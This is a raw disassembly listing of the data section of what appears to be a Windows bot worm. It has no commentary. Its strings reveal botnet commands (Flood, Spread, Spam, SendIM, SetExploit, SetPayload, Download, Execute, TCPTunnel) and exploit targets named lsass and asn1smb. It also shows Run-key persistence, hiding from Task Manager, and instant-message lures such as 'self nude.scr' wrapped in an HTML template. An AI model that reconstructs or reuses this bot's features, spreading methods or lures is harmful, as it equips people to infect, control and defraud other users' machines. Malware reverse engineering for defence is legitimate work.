					; .text:0040AA6Eo ...
a21		db '21',0               ; DATA XREF: .text:0040A8DAo
					; .text:loc_40A92Ao ...
		align 10h
aDEnd		db '%d|END',0Dh,0Ah,0   ; DATA XREF: .text:0040A87Ao
		align 4
aDS		db '%d|%s',0Dh,0Ah,0    ; DATA XREF: .text:0040A868o
					; sub_40B78B+10Fo
off_4305D4	dd offset byte_444E45	; DATA XREF: .text:0040A7BEo
aUpsn		db 'upsn',0             ; DATA XREF: .text:0040AA1Fo
					; .text:0040AACCo ...
		align 10h
aUphs		db 'uphs',0             ; DATA XREF: .text:0040AA0Eo
					; .text:0040B356o
		align 4
asc_4305E8	db '%X',0               ; DATA XREF: .text:0040A5EBo
		align 4
aD		db '%d',0Dh,0Ah,0       ; DATA XREF: sub_409BDA+288o
					; sub_409BDA+3E2o ...
		align 4
aTest4		db 'Test4',0            ; DATA XREF: sub_409BDA+21Do
					; sub_409BDA+4FAo ...
		align 4
dword_4305FC	dd 5C0D0A00h, 2E2F5Fh	; DATA XREF: sub_40C5E6+5Fo
off_430604	dd offset sub_40C987	; DATA XREF: sub_40C85A+1Fo
					; sub_40C956+7o
		dd offset sub_40C93A
		dd offset nullsub_3
off_430610	dd offset loc_40C742	; DATA XREF: sub_40C6A4+Co
					; sub_40C72B+5o
		dd offset sub_40C70F
		dd offset nullsub_3
dword_43061C	dd 2E302E30h, 302E30h	; DATA XREF: sub_40CA30+83Bo
					; sub_40CA30+8A3o ...
off_430624	dd offset sub_40DB56	; DATA XREF: sub_40DB3C+Bo
		dd offset sub_408B3D
		dd offset nullsub_3
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_40DB56+2C1o
		align 4
aNtdll_dll	db 'ntdll.dll',0        ; DATA XREF: sub_40DB56+26Eo
		align 4
aTaskmgr_exe	db 'taskmgr.exe',0      ; DATA XREF: sub_40DB56:loc_40DC4Ao
aGetprocessimag	db 'GetProcessImageFileNameA',0 ; DATA XREF: sub_40DB56+68o
		align 10h
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_40DB56+55o
		align 4
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_40DB56+42o
		align 4
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_40DB56+2Fo
		align 4
aPsapi_dll	db 'psapi.dll',0        ; DATA XREF: sub_40DB56+11o
		align 4
off_4306C8	dd offset loc_40E121	; DATA XREF: sub_40E063+12o
		dd offset sub_408B3D
		dd offset nullsub_3
		dd offset sub_405771
off_4306D8	dd offset sub_4153A7	; DATA XREF: sub_40E6B3+4Ao
					; sub_40EA20+97o
		dd offset sub_407445
		dd offset nullsub_3
		dd offset sub_40E47E
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset nullsub_3
off_4306FC	dd offset sub_40E5EC	; DATA XREF: sub_40E4C6+1Fo
		dd offset sub_40E537
		dd offset nullsub_3
off_430708	dd offset loc_40E121	; DATA XREF: sub_40E0A0+12o
		dd offset sub_408B3D
		dd offset nullsub_3
		dd offset sub_4056EB
off_430718	dd offset loc_40E121	; DATA XREF: sub_40E084+12o
		dd offset sub_408B3D
		dd offset nullsub_3
		dd offset sub_405664
off_430728	dd offset loc_40E121	; DATA XREF: sub_40E0BC+Co
		dd offset sub_408B3D
		dd offset nullsub_3
		dd offset sub_41D5E9
aAsn1smbnt	db 'asn1smbnt',0        ; DATA XREF: sub_40E0A0+8o
		align 4
aAsn1smb	db 'asn1smb',0          ; DATA XREF: sub_40E084+8o
aLsass		db 'lsass',0            ; DATA XREF: sub_40E063+8o
		align 4
off_430754	dd offset sub_40FCC4	; DATA XREF: sub_40FCAB+Fo
off_430758	dd offset sub_40FB5A	; DATA XREF: sub_40FB41+Fo
off_43075C	dd offset sub_40EE0E	; DATA XREF: sub_40EDF5+Fo
off_430760	dd offset sub_40F578	; DATA XREF: sub_40F55F+Fo
off_430764	dd offset sub_40F23B	; DATA XREF: sub_40F222+Fo
off_430768	dd offset sub_40F008	; DATA XREF: sub_40EFEF+Fo
off_43076C	dd offset sub_40FB2E	; DATA XREF: sub_40FB15+Fo
off_430770	dd offset sub_40FC45	; DATA XREF: sub_40FC2C+Fo
off_430774	dd offset sub_40EDC7	; DATA XREF: sub_40EDAE+Fo
off_430778	dd offset sub_40F4FC	; DATA XREF: sub_40F4E3+Fo
off_43077C	dd offset sub_40F1FC	; DATA XREF: sub_40F1E3+Fo
off_430780	dd offset sub_40EFD3	; DATA XREF: sub_40EFBA+Fo
off_430784	dd offset sub_40ED89	; DATA XREF: sub_40ED70+Fo
off_430788	dd offset sub_40FACE	; DATA XREF: sub_40FAB5+Fo
off_43078C	dd offset sub_40F1B6	; DATA XREF: sub_40F19D+Fo
off_430790	dd offset sub_40EF9A	; DATA XREF: sub_40EF81+Fo
off_430794	dd offset sub_40F423	; DATA XREF: sub_40F40A+Fo
off_430798	dd offset sub_40FAA1	; DATA XREF: sub_40FA88+Fo
off_43079C	dd offset sub_40ED1A	; DATA XREF: sub_40ED01+Fo
off_4307A0	dd offset sub_40EF65	; DATA XREF: sub_40EF4C+Fo
off_4307A4	dd offset sub_40F3E7	; DATA XREF: sub_40F3CE+Fo
off_4307A8	dd offset sub_40F7AD	; DATA XREF: sub_40F794+Fo
off_4307AC	dd offset sub_40F0E9	; DATA XREF: sub_40F0D0+Fo
off_4307B0	dd offset sub_41D5E9	; DATA XREF: sub_413800+Do
off_4307B4	dd offset sub_40FA00	; DATA XREF: sub_40F9E7+Fo
off_4307B8	dd offset sub_40ECBF	; DATA XREF: sub_40ECA6+Fo
off_4307BC	dd offset sub_40F3A7	; DATA XREF: sub_40F38E+Fo
off_4307C0	dd offset sub_40EF29	; DATA XREF: sub_40EF10+Fo
off_4307C4	dd offset sub_40F072	; DATA XREF: sub_40F059+Fo
off_4307C8	dd offset sub_40F9A9	; DATA XREF: sub_40F990+Fo
off_4307CC	dd offset sub_40EC89	; DATA XREF: sub_40EC70+Fo
off_4307D0	dd offset sub_40F6A4	; DATA XREF: sub_40F68B+Fo
off_4307D4	dd offset sub_40FE37	; DATA XREF: sub_40FE1E+Fo
off_4307D8	dd offset sub_40F340	; DATA XREF: sub_40F327+Fo
off_4307DC	dd offset sub_40EEEA	; DATA XREF: sub_40EED1+Fo
off_4307E0	dd offset sub_40F03D	; DATA XREF: sub_40F024+Fo
off_4307E4	dd offset sub_40EC36	; DATA XREF: sub_40EC1D+Fo
off_4307E8	dd offset sub_40F661	; DATA XREF: sub_40F648+Fo
off_4307EC	dd offset sub_40F8F8	; DATA XREF: sub_40F8DF+Fo
off_4307F0	dd offset loc_411363	; DATA XREF: sub_411299+1Do
					; sub_411338+4o
		dd offset sub_41131C
		dd offset sub_41136B
off_4307FC	dd offset sub_40EEB1	; DATA XREF: sub_40EE98+Fo
off_430800	dd offset sub_40F2F6	; DATA XREF: sub_40F2DD+Fo
off_430804	dd offset sub_40FDB0	; DATA XREF: sub_40FD97+Fo
off_430808	dd offset sub_40F60E	; DATA XREF: sub_40F5F5+Fo
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 10h
off_430810	dd offset sub_40EE78	; DATA XREF: sub_40EE5F+Fo
off_430814	dd offset sub_40F2B3	; DATA XREF: sub_40F29A+Fo
off_430818	dd offset sub_40FD30	; DATA XREF: sub_40FD17+Fo
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 0F5h, 40h, 0
off_430820	dd offset sub_40EE3F	; DATA XREF: sub_40EE26+Fo
off_430824	dd offset sub_40F839	; DATA XREF: sub_40F820+Fo
off_430828	dd offset sub_40F27A	; DATA XREF: sub_40F261+Fo
aElse		db 'else',0             ; DATA XREF: sub_41288D+80o
		align 4
aWhile		db 'while',0            ; DATA XREF: sub_41226A+CAo
		align 4
aIf		db 'if',0               ; DATA XREF: sub_41226A+ADo
		align 10h
aLocal		db 'local',0            ; DATA XREF: sub_41226A+86o
		align 4
aPvar		db 'PVAR',0             ; DATA XREF: sub_411377+4CAo
		align 10h
aTcp		db 'TCP',0              ; DATA XREF: sub_411377+489o
aUdp		db 'UDP',0              ; DATA XREF: sub_411377+448o
aScripts	db 'Scripts',0          ; DATA XREF: sub_411377+407o
aTargets	db 'Targets',0          ; DATA XREF: sub_411377+3C1o
aScan		db 'Scan',0             ; DATA XREF: sub_411377+380o
		align 10h
aFirewall	db 'Firewall',0         ; DATA XREF: sub_411377+33Fo
		align 4
aSocks		db 'Socks',0            ; DATA XREF: sub_411377+2FEo
		align 4
aFtp		db 'FTP',0              ; DATA XREF: sub_411377+2BDo
aEmail		db 'Email',0            ; DATA XREF: sub_411377+27Co
		align 10h
aMsn		db 'MSN',0              ; DATA XREF: sub_411377+23Bo
aAim		db 'AIM',0              ; DATA XREF: sub_411377+1FAo
off_430898	dd offset loc_435246+3	; DATA XREF: sub_411377+1B9o
aLogs		db 'Logs',0             ; DATA XREF: sub_411377+178o
		align 4
aHttp_0		db 'HTTP',0             ; DATA XREF: sub_411377+137o
		align 4
aCount		db 'Count',0            ; DATA XREF: sub_411377+F1o
		align 4
aP2p		db 'P2P',0              ; DATA XREF: sub_411377+AAo
asc_4308B8	db '<=',0               ; DATA XREF: sub_410FAD:loc_4111BBo
		align 4
asc_4308BC	db '>=',0               ; DATA XREF: sub_410FAD:loc_4111A6o
		align 10h
asc_4308C0	db '!=',0               ; DATA XREF: sub_410FAD:loc_411191o
		align 4
asc_4308C4	db '==',0               ; DATA XREF: sub_410FAD:loc_411152o
		align 4
asc_4308C8	db '||',0               ; DATA XREF: sub_410FAD:loc_411128o
		align 4
asc_4308CC	db '&&',0               ; DATA XREF: sub_410FAD:loc_411110o
		align 10h
asc_4308D0	db '>>',0               ; DATA XREF: sub_410FAD:loc_411098o
		align 4
asc_4308D4	db '<<',0               ; DATA XREF: sub_410FAD:loc_411080o
		align 4
dword_4308D8	dd 15h			; DATA XREF: sub_410FAD:loc_411020o
dword_4308DC	dd 2D2Dh		; DATA XREF: sub_410FAD:loc_411008o
dword_4308E0	dd 2B2Bh		; DATA XREF: sub_410FAD:loc_410FF0o
dword_4308E4	dd 6725h		; DATA XREF: sub_40FEFE+1Do
					; sub_4100B9+B7o
aIsset		db 'IsSet',0            ; DATA XREF: sub_40FD97+5o
		align 10h
aGet_0		db 'Get',0              ; DATA XREF: sub_40FD17+5o
aSoftwareGnuVer	db 'SOFTWARE\GNU\Version',0 ; DATA XREF: sub_40FCC4+1Eo
					; sub_40FD30+20o ...
		align 4
aSet		db 'Set',0              ; DATA XREF: sub_40FCAB+5o
aFlood		db 'Flood',0            ; DATA XREF: sub_40FB41+5o
					; sub_40FC2C+5o
		align 4
aAbortall	db 'AbortAll',0         ; DATA XREF: sub_40FB15+5o
		align 4
aSD		db '%s:%d',0            ; DATA XREF: sub_40FACE+25o
		align 4
aCurrent	db 'Current',0          ; DATA XREF: sub_40FAB5+5o
aClear		db 'Clear',0            ; DATA XREF: sub_40FA88+5o
					; sub_40FE1E+5o
		align 4
aAdd		db 'Add',0              ; DATA XREF: sub_40F9E7+5o
aSetexploit	db 'SetExploit',0       ; DATA XREF: sub_40F990+5o
		align 4
aNone		db 'NONE',0             ; DATA XREF: sub_40F8F8+69o
					; sub_40F9A9+12o
		align 4
aHttpexec	db 'HTTPEXEC',0         ; DATA XREF: sub_40F8F8+25o
		align 10h
aSetpayload	db 'SetPayload',0       ; DATA XREF: sub_40F8DF+5o
		align 4
aPause		db 'Pause',0            ; DATA XREF: sub_40F8B1+5o
		align 4
aOpenport	db 'OpenPort',0         ; DATA XREF: sub_40F794+5o
		align 10h
aStart		db 'Start',0            ; DATA XREF: sub_40F68B+5o
					; sub_40F820+5o
		align 4
aSpam		db 'Spam',0             ; DATA XREF: sub_40F5B2+5o
					; sub_40F648+5o
		align 10h
aSendim		db 'SendIM',0           ; DATA XREF: sub_40F55F+5o
					; sub_40F5F5+5o
		align 4
aSpread		db 'Spread',0           ; DATA XREF: sub_40F4E3+5o
		align 10h
aNew		db 'New',0              ; DATA XREF: sub_40F40A+5o
aQuitall	db 'QuitAll',0          ; DATA XREF: sub_40F3CE+5o
aNotifyall	db 'NotifyAll',0        ; DATA XREF: sub_40F38E+5o
		align 4
aHostchildimage	db 'HostChildImage',0   ; DATA XREF: sub_40F327+5o
		align 4
aSpeedtest	db 'SpeedTest',0        ; DATA XREF: sub_40F2DD+5o
		align 4
aPost_0		db 'Post',0             ; DATA XREF: sub_40F29A+5o
		align 4
aVisit		db 'Visit',0            ; DATA XREF: sub_40F261+5o
		align 4
aUpdate		db 'Update',0           ; DATA XREF: sub_40F222+5o
		align 4
aExecute	db 'Execute',0          ; DATA XREF: sub_40F1E3+5o
aDownload	db 'Download',0         ; DATA XREF: sub_40F19D+5o
		align 10h
aSearch		db 'Search',0           ; DATA XREF: sub_40F0D0+5o
		align 4
aSend		db 'Send',0             ; DATA XREF: sub_40F059+5o
		align 10h
aLinks		db 'Links',0            ; DATA XREF: sub_40F024+5o
		align 4
aControls	db 'Controls',0         ; DATA XREF: sub_40EFEF+5o
		align 4
aClients	db 'Clients',0          ; DATA XREF: sub_40EFBA+5o
aGetlinkedip	db 'GetLinkedIP',0      ; DATA XREF: sub_40EF81+5o
aGetmode	db 'GetMode',0          ; DATA XREF: sub_40EF4C+5o
aGetport	db 'GetPort',0          ; DATA XREF: sub_40EF10+5o
aGetversion	db 'GetVersion',0       ; DATA XREF: sub_40EED1+5o
		align 4
aGetsubnetmask	db 'GetSubnetMask',0    ; DATA XREF: sub_40EE98+5o
		align 4
aGetip		db 'GetIP',0            ; DATA XREF: sub_40EE5F+5o
		align 4
aGetuptime	db 'GetUptime',0        ; DATA XREF: sub_40EE26+5o
		align 4
aGetuuid	db 'GetUUID',0          ; DATA XREF: sub_40EDF5+5o
aGetcountry	db 'GetCountry',0       ; DATA XREF: sub_40EDAE+5o
		align 4
aGetidletime	db 'GetIdleTime',0      ; DATA XREF: sub_40ED70+5o
aTcptunnel	db 'TCPTunnel',0        ; DATA XREF: sub_40ED01+5o
		align 4
aRand		db 'Rand',0             ; DATA XREF: sub_40ECA6+5o
		align 4
aSleep		db 'Sleep',0            ; DATA XREF: sub_40EC70+5o
		align 4
aMessagebox	db 'MessageBox',0       ; DATA XREF: sub_40EC1D+5o
		align 10h
off_430AC0	dd offset sub_406A96	; DATA XREF: sub_4142BC+Bo
		dd offset sub_408B3D
		dd offset nullsub_3
dword_430ACC	dd 74756853h, 676E6974h, 776F4420h, 6Eh	; DATA XREF: sub_414767:loc_414790o
dword_430ADC	dd 67676F4Ch, 20676E69h, 66664Fh ; DATA	XREF: sub_414767+22o
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_4142D6+3AAo
		align 4
aMvwatvx	db 'mvwatvx',0          ; DATA XREF: sub_4142D6+37Eo
aSoftwareMicros	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_4142D6:loc_41463Fo
		align 10h
aCalc_exe	db '\calc.exe',0        ; DATA XREF: sub_4142D6+2B2o
		align 4
aD3kb5sujs50lq2	db 'd3kb5sujs50lq2mr',0 ; DATA XREF: sub_4142D6+21Eo
		align 10h
aMain		db 'main',0             ; DATA XREF: sub_4142D6+1A9o
		align 4
aS		db '-s ',0              ; DATA XREF: sub_4142D6+175o
aK		db '-k ',0              ; DATA XREF: sub_4142D6+99o
aC		db '-c ',0              ; DATA XREF: sub_4142D6+1Eo
off_430B84	dd offset loc_414E5F	; DATA XREF: sub_414DCD+20o
					; sub_414E49+3o
		dd offset sub_414E2D
		dd offset nullsub_3
off_430B90	dd offset sub_4153A7	; DATA XREF: sub_4150A5+1Co
					; sub_415135+Ao
		dd offset sub_415119
		dd offset nullsub_3
		dd offset sub_4147BC
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset nullsub_3
off_430BB4	dd offset sub_41643A	; DATA XREF: sub_4163F9+1Bo
		dd offset sub_4163C6
		dd offset nullsub_3
aDataBinary	db '</DATA></BINARY>',0 ; DATA XREF: sub_416071+22Do
		align 8
aHtmlFontLang0S	db '<HTML><FONT LANG="0" SIZE=1>(right click ->open ) <IMG SRC="%s'
					; DATA XREF: sub_416071+1DDo
		db '" ID="1" WIDTH="30" HEIGHT="31" DATASIZE="%d"></HTML><BINARY><DAT'
		db 'A ID="1" SIZE="%d">',0
		align 10h
aSelfNude_scr	db 'self nude.scr',0    ; DATA XREF: sub_416071+1B0o
		align 10h
aMyPic_scr	db 'my pic.scr',0       ; DATA XREF: sub_416071+1A9o
		align 4
aDsc1060193_scr	db 'DSC1060193.scr',0   ; DATA XREF: sub_416071+1A2o
		align 4
aSoftwareGnuCon	db 'SOFTWARE\GNU\Contact',0 ; DATA XREF: sub_416071+76o
		align 4
aDirectInstantM	db 'Direct Instant Message',0 ; DATA XREF: sub_416071+2Do
		align 4
off_430CCC	dd offset sub_416917	; DATA XREF: sub_4168AA+Fo
					; sub_416900+5o
		dd offset sub_4168E4
		dd offset nullsub_3
off_430CD8	dd offset loc_41679D	; DATA XREF: sub_416706+Co
					; sub_416786+5o
		dd offset sub_41676A
		dd offset nullsub_3
off_430CE4	dd offset sub_41D5E9	; DATA XREF: sub_4163F9+Co
					; sub_416AA6+9o ...
		dd offset sub_416A8A
		dd offset nullsub_3
off_430CF0	dd offset loc_416C13	; DATA XREF: sub_416B7F+20o
					; sub_416BFD+3o
		dd offset sub_416BE1
		dd offset nullsub_3
off_430CFC	dd offset byte_442B77	; DATA XREF: .text:00416E6Co
dword_430D00	dd 253A7325h, 64253A75h, 0A0Dh ; DATA XREF: .text:00416DD8o
dword_430D0C	dd 206B2D20h, 2	dup(0)	; DATA XREF: sub_416F51+4Ao
stru_430D18	_msEH <0FFFFFFFFh, offset loc_40117C, offset loc_40118A>
					; DATA XREF: sub_401162+2o
flt_430D24	dd -1.0			; DATA XREF: sub_407949+DEr
flt_430D28	dd 3.0e2		; DATA XREF: sub_407949+C9r
flt_430D2C	dd 1.0e-3		; DATA XREF: sub_407949:loc_407A0Br
flt_430D30	dd 4.2949673e9		; DATA XREF: sub_407949+BCr
					; .text:0040AFD5r ...
flt_430D34	dd 6.4999998e-1		; DATA XREF: .text:0040AFEDr
					; .text:0040B078r
		dd 48h,	0Eh dup(0)
		dd offset dword_433148
		dd offset dword_430F80
dword_430D7C	dd 37h,	433094h, 2 dup(0) ; DATA XREF: .text:00430D98o
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset dword_430D7C+4
dword_430D9C	dd 3 dup(0)		; DATA XREF: .text:00430DC0o
		dd 1, 430D98h, 3 dup(0)
		dd offset off_433094
		dd offset dword_430D9C+4
off_430DC4	dd offset off_4340EC	; DATA XREF: .text:00430DF8o
					; .text:00430E44o ...
		align 10h
		dd 0FFFFFFFFh, 2 dup(0)
off_430DDC	dd offset off_434104	; DATA XREF: .text:00430DF4o
					; .text:00430E40o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_430DDC
		dd offset off_430DC4
dword_430DFC	dd 3 dup(0)		; DATA XREF: .text:00430E20o
		dd 2, 430DF4h, 3 dup(0)
		dd offset off_434104
		dd offset dword_430DFC+4
off_430E24	dd offset off_434124	; DATA XREF: .text:00430E3Co
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_430E24
		dd offset off_430DDC
		dd offset off_430DC4
dword_430E48	dd 3 dup(0)		; DATA XREF: .text:00430E6Co
		dd 3, 430E3Ch
dword_430E5C	dd 3 dup(0)		; DATA XREF: .text:00429474o
		dd offset off_434124
		dd offset dword_430E48+4
off_430E70	dd offset off_4330B0	; DATA XREF: .text:00430E88o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_430E70
		dd offset off_430DDC
		dd offset off_430DC4
		dd 0
		db    0			; DATA XREF: .text:00430EB8o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 430E88h
dword_430EA8	dd 3 dup(0)		; DATA XREF: .text:00429480o
		dd offset off_4330B0
		dd offset unk_430E98
off_430EBC	dd offset off_4330D0	; DATA XREF: .text:00430ED4o
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_430EBC
		dd offset off_430DC4
dword_430EDC	dd 3 dup(0)		; DATA XREF: .text:00430F00o
		dd 2, 430ED4h
dword_430EF0	dd 3 dup(0)		; DATA XREF: .text:004294B4o
		dd offset off_4330D0
		dd offset dword_430EDC+4
		dd offset off_430DC4
dword_430F08	dd 3 dup(0)		; DATA XREF: .text:00430F2Co
		dd 1, 430F04h
dword_430F1C	dd 3 dup(0)		; DATA XREF: .text:0042950Co
		dd offset off_4340EC
		dd offset dword_430F08+4
off_430F30	dd offset off_4330F0	; DATA XREF: .text:00430F48o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_430F30
dword_430F4C	dd 3 dup(0)		; DATA XREF: .text:00430F70o
		dd 1, 430F48h
dword_430F60	dd 3 dup(0)		; DATA XREF: .text:0042952Co
		dd offset off_4330F0
		dd offset dword_430F4C+4
		align 10h
dword_430F80	dd 1DEACh, 1DF84h, 1E1A2h, 1E2A4h, 27900h, 27912h, 2792Fh
					; DATA XREF: .text:00430D78o
		dd 27941h, 279C1h, 279D3h, 279E5h, 279EFh, 27A01h, 27A1Bh
		dd 27A2Dh, 27A49h, 27A5Bh, 27A6Dh, 27B5Bh, 27B6Ah, 27B74h
		dd 27B86h, 27B98h, 27BA2h, 27BACh, 27BB6h, 27BE9h, 27BF3h
		dd 27C0Bh, 27C4Bh, 27C55h, 27C67h, 27C71h, 27C7Bh, 27C8Dh
		dd 27C9Fh, 27CA9h, 27CC6h, 27CFDh, 27D24h, 27D4Ch, 27D6Eh
		dd 27D85h, 27D97h, 27DA9h, 27EA2h, 27EBEh, 27ED2h, 27EE6h
		dd 27EF8h, 27F12h, 27F24h, 27F40h, 27F52h, 27F66h, 0
dword_431060	dd 2 dup(0)		; DATA XREF: sub_422CBD+Co
					; sub_422CBD:loc_422CD0o
dword_431068	dd 2 dup(0)		; DATA XREF: sub_422D01+Co
					; sub_422D01:loc_422D14o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 4 dup(0)
		dd offset loc_41B81C
		dd 2 dup(0)
		dd 2 dup(1), 431080h
dword_4310A4	dd 19930520h, 2, 431070h, 1, 431090h, 3	dup(0) ; DATA XREF: SEH_41B760o
		dd offset off_433094
		dd 0
		dd 0FFFFFFFFh, 0
dword_4310D4	dd 10h,	41B910h, 1, 4310C0h ; DATA XREF: .text:004310F0o
dword_4310E4	dd 0			; DATA XREF: .text:0041B8DBo
		dd offset loc_41B950
		align 10h
		dd offset dword_4310D4+8
		align 8
		dd offset off_4330B0
		align 10h
		dd 0FFFFFFFFh, 0
dword_431108	dd 28h,	41BA39h, 3, 4310F4h, 4311C8h, 4311ACh ;	DATA XREF: .text:0043112Co
dword_431120	dd 0			; DATA XREF: sub_41B9F9+2Ao
		dd offset sub_41B9EE
		dd 0
		dd offset dword_431108+8
		dd 0FFFFFFFFh, 42790Ah
dword_431138	dd 19930520h, 1, 431130h, 5 dup(0) ; DATA XREF:	.text:loc_427912o
		dd offset off_4330D0
		align 10h
		dd 0FFFFFFFFh, 0
dword_431168	dd 0Ch,	41BAE1h, 2, 431154h, 4311ACh ; DATA XREF: .text:00431188o
dword_43117C	dd 0			; DATA XREF: sub_41BAF9+4Fo
		dd offset sub_41BABA
		align 8
		dd offset dword_431168+8
dword_43118C	dd 0			; DATA XREF: sub_40C38F+2Ao
					; sub_41BA51+2Ao
		dd offset sub_401083
		align 8
		dd offset dword_43119C
dword_43119C	dd 3, 4311E4h, 4311C8h,	4311ACh, 0 ; DATA XREF:	.text:00431198o
		dd offset off_4340EC
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	41C80Bh, 0
		dd offset off_434104
		dd 0
		dd 0FFFFFFFFh, 0
		dd 28h,	401E4Bh, 0
		dd offset off_434124
		align 10h
		dd 0FFFFFFFFh, 0
		dd 28h,	401E33h
dword_431200	dd 3 dup(0)		; DATA XREF: sub_405FCD+9o
		dd offset dword_431210
dword_431210	dd 1, 431218h, 0	; DATA XREF: .text:0043120Co
		dd offset off_435458
		dd 0
		dd 0FFFFFFFFh, 0
		dd 4, 0
		dd 0FFFFFFFFh, 427A25h
dword_43123C	dd 19930520h, 1, 431234h, 4 dup(0) ; DATA XREF:	.text:loc_427A2Do
		dd 0FFFFFFFFh, 427EC8h
dword_431260	dd 19930520h, 1, 431258h, 4 dup(0) ; DATA XREF:	.text:loc_427ED2o
		dd 0FFFFFFFFh, 427939h
dword_431284	dd 19930520h, 1, 43127Ch, 4 dup(0) ; DATA XREF:	.text:loc_427941o
		dd 0FFFFFFFFh, 42794Bh,	0
		dd offset loc_427953
		dd 1, 42795Bh, 2, 427963h, 3, 42796Bh, 4, 427973h, 5, 42797Bh
		dd 6, 427983h, 7, 42798Bh, 8, 427993h, 9, 42799Bh, 0Ah
		dd 4279A6h, 9, 4279B1h,	0Ch, 4279B9h
dword_431310	dd 19930520h, 0Eh, 4312A0h, 4 dup(0) ; DATA XREF: .text:loc_4279C1o
		dd 0FFFFFFFFh, 4279CBh
dword_431334	dd 19930520h, 1, 43132Ch, 4 dup(0) ; DATA XREF:	.text:loc_4279D3o
		dd 0FFFFFFFFh, 4279DDh
dword_431358	dd 19930520h, 1, 431350h, 4 dup(0) ; DATA XREF:	.text:loc_4279E5o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 1, 0
		dd 1, 4	dup(0)
		dd offset sub_401F61
		align 10h
		dd offset loc_401EED
		dd 2 dup(2), 3,	1, 431394h, 2 dup(0)
		dd 3, 1, 4313A4h
dword_4313DC	dd 19930520h, 4, 431374h, 2, 4313B4h, 2	dup(0)
					; DATA XREF: .text:loc_4279EFo
		dd 0FFFFFFFFh, 4279F9h
dword_431400	dd 19930520h, 1, 4313F8h, 4 dup(0) ; DATA XREF:	.text:loc_427A01o
		dd 0FFFFFFFFh, 427A0Bh,	0FFFFFFFFh, 427A13h
dword_43142C	dd 19930520h, 2, 43141Ch, 4 dup(0) ; DATA XREF:	.text:loc_427A1Bo
		dd 0FFFFFFFFh, 427A37h,	0
		dd offset loc_427A3F
dword_431458	dd 19930520h, 2, 431448h, 4 dup(0) ; DATA XREF:	.text:loc_427A49o
		dd 0FFFFFFFFh, 427A53h
dword_43147C	dd 19930520h, 1, 431474h, 4 dup(0) ; DATA XREF:	.text:loc_427A5Bo
		dd 0FFFFFFFFh, 427A65h
dword_4314A0	dd 19930520h, 1, 431498h, 5 dup(0) ; DATA XREF:	.text:loc_427A6Do
		dd 0FFFFFFFFh, 427A77h,	0
		dd offset loc_427A7F
		dd 1, 427A87h, 2, 427A8Fh, 3, 427A97h, 4, 427A9Fh, 5, 427AA7h
		dd 6, 427AAFh, 7, 427AB7h, 8, 427ABFh, 9, 427ACAh, 8, 427AD5h
		dd 0Bh,	427ADDh, 0Ch, 427AE5h, 0Dh, 427AEDh, 0Eh, 427AF5h
		dd 0Fh,	427AFDh, 10h, 427B05h, 11h, 427B0Dh, 12h, 427B15h
		dd 13h,	427B1Dh, 14h, 427B28h, 13h, 427B33h, 16h, 427B3Bh
		dd 17h,	427B43h, 13h, 427B4Bh, 19h, 427B53h
dword_431598	dd 19930520h, 1Bh, 4314C0h, 4 dup(0) ; DATA XREF: .text:loc_427B5Bo
		dd 0FFFFFFFFh, 427B65h
dword_4315BC	dd 19930520h, 1, 4315B4h, 4 dup(0) ; DATA XREF:	.text:loc_427B6Ao
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 4 dup(0)
		dd offset loc_40207E
		align 10h
		dd 2 dup(1), 4315E8h
dword_43160C	dd 19930520h, 2, 4315D8h, 1, 4315F8h, 2	dup(0)
					; DATA XREF: .text:loc_427B74o
		dd 0FFFFFFFFh, 427B7Eh
dword_431630	dd 19930520h, 1, 431628h, 4 dup(0) ; DATA XREF:	.text:loc_427B86o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 4 dup(0)
		dd offset loc_415C75
		dd 3 dup(0)
		dd offset loc_415C7E
		dd 2 dup(0)
		dd 2 dup(1), 43166Ch, 2	dup(2),	3, 1, 43167Ch
dword_4316B4	dd 19930520h, 4, 43164Ch, 2, 43168Ch, 2	dup(0)
					; DATA XREF: .text:loc_427BA2o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 4 dup(0)
		dd offset loc_415AA5
		dd 3 dup(0)
		dd offset loc_415AAE
		dd 2 dup(0)
		dd 2 dup(1), 4316F0h, 2	dup(2),	3, 1, 431700h
dword_431738	dd 19930520h, 4, 4316D0h, 2, 431710h, 2	dup(0)
					; DATA XREF: .text:loc_427BACo
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 4 dup(0)
		dd offset loc_4158B8
		align 10h
		dd offset loc_4158C1
		dd 2 dup(0)
		dd 2 dup(1), 431774h, 2	dup(2),	3, 1, 431784h
dword_4317BC	dd 19930520h, 4, 431754h, 2, 431794h, 2	dup(0)
					; DATA XREF: .text:loc_427BB6o
		dd 0FFFFFFFFh, 427BC0h,	0
		dd offset loc_427BC8
		dd 1, 427BD3h, 2, 427BDEh
